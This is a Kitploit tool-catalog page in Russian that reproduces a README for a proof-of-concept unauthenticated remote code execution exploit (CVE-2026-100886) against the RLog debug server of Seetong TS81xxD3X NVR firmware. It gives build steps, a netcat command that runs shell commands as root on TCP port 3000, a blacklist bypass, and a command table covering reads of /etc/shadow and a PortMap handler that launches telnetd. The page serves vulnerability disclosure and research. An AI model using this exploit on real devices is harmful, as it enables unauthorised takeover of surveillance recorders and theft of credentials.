Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
seetong-ts81xxd3x-rce — CVE-2026-100886 | Инструментарий для неаутентифицированного удалённого выполнения кода. | Kitploit
Инструменты/GitHubGitHub/heapframe/seetong-ts81xxd3x-rce
Безопасность встроенных системБезопасность IoTАнализ уязвимостейЭксплуатацияОбратная инженерияБезопасность оборудования и IoTАнализ Бинарных ФайловИнструмент Удаленного ДоступаАнализ Прошивок
GitHubheapframe/seetong-ts81xxd3x-rce

seetong-ts81xxd3x-rce

5 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-100886 | Инструментарий для неаутентифицированного удалённого выполнения кода.

РепозиторийСайт

PoC — RCE на отладочном сервере RLog (CVE-2026-100886)

Демонстрационный стенд показывает, что прошивочный libLOG.so запускает сервер RLog
на TCP/3000. Анализ диспетчера команд и динамические тесты
демонстрируют неаутентифицированное выполнение команд ОС через этот сервер.

Он загружает собственный libLOG.so прошивки под qemu-arm, вызывает TLog_Init()
и настоящий сервер привязывается к 0.0.0.0:3000 и принимает входящие соединения
откуда угодно без какой-либо аутентификации.

Уязвимость

Прошивка предоставляет неаутентифицированный сервер команд RLog на TCP/3000.

Диспетчер команд регистрирует Cmd, который передаёт контролируемый злоумышленником ввод в TLog_CMD. TLog_CMD в конечном итоге вызывает бэкенд выполнения команд прошивки.

Следовательно:

Unauthenticated TCP connection
        ↓
RLog command dispatcher
        ↓
Cmd <attacker-controlled command>
        ↓
TLog_CMD
        ↓
mysystem()
        ↓
/bin/sh
        ↓
command execution

Файлы

  • harness.c: постоянная версия: поднимает сервер и засыпает (используйте её для реального применения)
  • probe_harness.c: версия-зонд: также пытается выполнить пробные команды изнутри эмулятора (показывает требование обрамления байтом типа)

Если загрузка прошивки, которую использует приведённый ниже скрипт для создания sysroot, больше не существует. Вы можете взять её из одного из этих источников (просто поищите изображение nvr, прошивка широко распространена):

  • https://www.fullward.com/index.php?m=home&c=View&a=index&aid=145
  • http://en.tpsee.com/index.php?md=article&ct=lists&catid=24

Я использовал прошивку v4.6.1.4-build202604241011 для этого, другие версии прошивки ещё не тестировались, но у нижестоящих дропшипперов вроде fullward она тоже есть.

Сборка

Запустите это в том же каталоге, что и стенды

# Download and extract toolchain
wget https://gitlab.arm.com/api/v4/projects/tooling%2Fgnu-toolchains-for-arm/packages/generic/gnu-toolchain/15.3.rel1/arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf.tar.xz
tar -xvf arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf.tar.xz

TC=$(pwd)/arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf

# Creating the sysroot
wget http://www.tpsee.com/upload/firmware/update-ts81xxd3x-v4.6.1.4-build202604241011.bin
binwalk -Me update-ts81xxd3x-v4.6.1.4-build202604241011.bin

mkdir -p sysroot
cp -a "_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_rootfs.ts81xxd3x.extracted/squashfs-root/lib" sysroot/

cp "_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_app.ts81xxd3x.extracted/squashfs-root/lib/libLOG.so" \
   "_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_app.ts81xxd3x.extracted/squashfs-root/lib/libmysystem.so" sysroot/lib/

$TC -march=armv7-a -mthumb -mfloat-abi=soft -nostdlib -ffreestanding -fno-builtin \
    -Wl,--dynamic-linker,/lib/ld-uClibc.so.0 -Wl,-rpath,/lib -Wl,-e,_start -Wl,--export-dynamic \
    harness.c -o harness -L sysroot/lib -lc

Этот стенд предоставляет заглушки реализаций символов, которые libLOG.so импортирует из edvr

Запуск

qemu-arm -L sysroot ./harness &
sleep 2
ss -tln | grep 3000
# -> LISTEN 0 5 0.0.0.0:3000 0.0.0.0:*  (qemu user-mode forwards the emulated socket to the host)

Наблюдаемый вывод из probe_harness.c (не тот, что используется в скрипте выше):

dlopen ok
TLog_Init() -> 0
--- probe port 3000 ---
connect port 3000 OK        (x5 meaning every connection accepted)
REPLY: timeout/none         (plain-text probes ignored: binary type-byte framing required)

Использование

➜  seetong-ts81xxd3x-rce printf 'Cmd cat /etc/os-release > /tmp/rlog_os.txt\r\n' | nc 127.0.0.1 3000
^C% 
➜  seetong-ts81xxd3x-rce cat /tmp/rlog_os.txt 
NAME="Artix Linux"
PRETTY_NAME="Artix Linux"
ID=artix
BUILD_ID=rolling
ANSI_COLOR="38;2;23;147;209"
HOME_URL="https://artixlinux.org/"
DOCUMENTATION_URL="https://wiki.artixlinux.org/"
SUPPORT_URL="https://forum.artixlinux.org/"
BUG_REPORT_URL="https://bugs.artixlinux.org/"
PRIVACY_POLICY_URL="https://terms.artixlinux.org/docs/privacy-policy/"
LOGO=artixlinux-logo
➜  seetong-ts81xxd3x-rce 

Artix Linux отображается из-за того, что qemu в пользовательском режиме использует общую файловую систему хоста, так как этот PoC не изолирует её должным образом.

Детали диспетчера команд

Раскрытие об ИИ, приведённый ниже текст сгенерирован ИИ

Зарегистрированные команды (модуль "RLog", LogModuleRegCmd @ 0x8f94)

КомандаОбработчикЭффект
StartDebug, StartLog, SetLogLevel, Help, StartAutoTestразличныеуправление логированием/самотестированием
GetSystemStatus, GetSystemInfo, GetSystemLog, GetSystemCfgTLog_Get*раскрытие информации/конфигурации/логов
GetSystemFile [abs names]TLog_GetSystemFile (0x7a94) + TLog_SendFile (0x48f0)чтение произвольных файлов (/etc/shadow, /usr/local/etc/user.db, ...)
GetPrintfFileTLog_GetPrintfFileчтение файлов
Cmd [System commands]TLog_CMD (0x3680)выполнение команд оболочки от имени root
PortMap on <ip> <port> / PortMap offfcn.00008b76обратный TUN-туннель + telnetd на порту 23

TLog_CMD (0x3680) — удалённая оболочка

  • Копирует команду (макс. 48 символов, останавливается на ; \r \n).
  • Чёрный список = точное совпадение {vi, cd, top, if, killcmd} (strcmp) — тривиально обходится (cat, sh, кавычки).
  • Форматная строка фонового режима "%s -b" → запуск через sh -c.
  • Строки вспомогательного завершения: ps -ef | grep "sh -c %s" |grep -v grep, '{print $1}' | xargs kill -9.
  • Бэкенд выполнения: mysystem() (libmysystem.so) → IPC к /usr/sbin/systemd (поддельный systemd, выполняет через /bin/sh от имени root; строки "[systemd cmd:]%s", "[systemd ret:]%d").

Демонстрация чёрного списка (2026-08-04, эмулируемый сервер):

Cmd vi > /tmp/bl_vi                → dropped (no file created)
Cmd cat /etc/hostname > /tmp/bl_cat → executed (file contains hostname)
Cmd v''i > /tmp/bl_bypass          → BLACKLIST BYPASSED (shell sees `vi`, strcmp sees `v''i`)

Обработчик PortMap (fcn.00008b76) — туннель + telnet

  • Разбирает PortMap on <ip> <port> (ожидает 3 поля).
  • portmap_client_start(ip, port) (0x88b0):
    • system("lsmod | grep -q '^tun\\b' || insmod /config/modules/4.9.84/tun.ko")
    • открывает /dev/net/tun, создаёт интерфейс tps0, ifconfig tps0 up
    • читает /mnt/nand/yun_id.txt, /etc/product_type.txt
    • при успехе: system("touch /usr/local/etc/normal_telnet") (0x897e→0x8982)
  • Затем обработчик выполняет system("killall telnetd") (0x8c1e) и system("telnetd -p 23 &") (0x8c32).
  • portmap_client_stop (0x8a48) → system("rm -f /usr/local/etc/normal_telnet"), ifconfig tps0 down.
  • Связанные экспорты: portmap_client_get_status, portmap_client_is_running, portmap_client_get_assigned_ip.
  • Строки логов: "usage: PortMap on <ip> <port> | PortMap off\n", "PortMap on: IP=%s, Port=%d\n", "PortMap start success! ret:%d", "PortMap stop success!".

Другие примечательные строки

  • "rm %s/* -rf" (0xad10) — используется при очистке каталога логов (TLog_DeleteLogFile).

Динамическая проверка (2026-08-04)

Стенд (harness.c) выполняет dlopen libLOG.so, подставляет заглушки для его импортов edvr, вызывает TLog_Init():

dlopen ok
TLog_Init() -> 0

Сторона хоста (проброс сокета в пользовательском режиме qemu):

LISTEN  0  5  0.0.0.0:3000  0.0.0.0:*  users:(("qemu-arm",pid=...,fd=0))
Скачать инструмент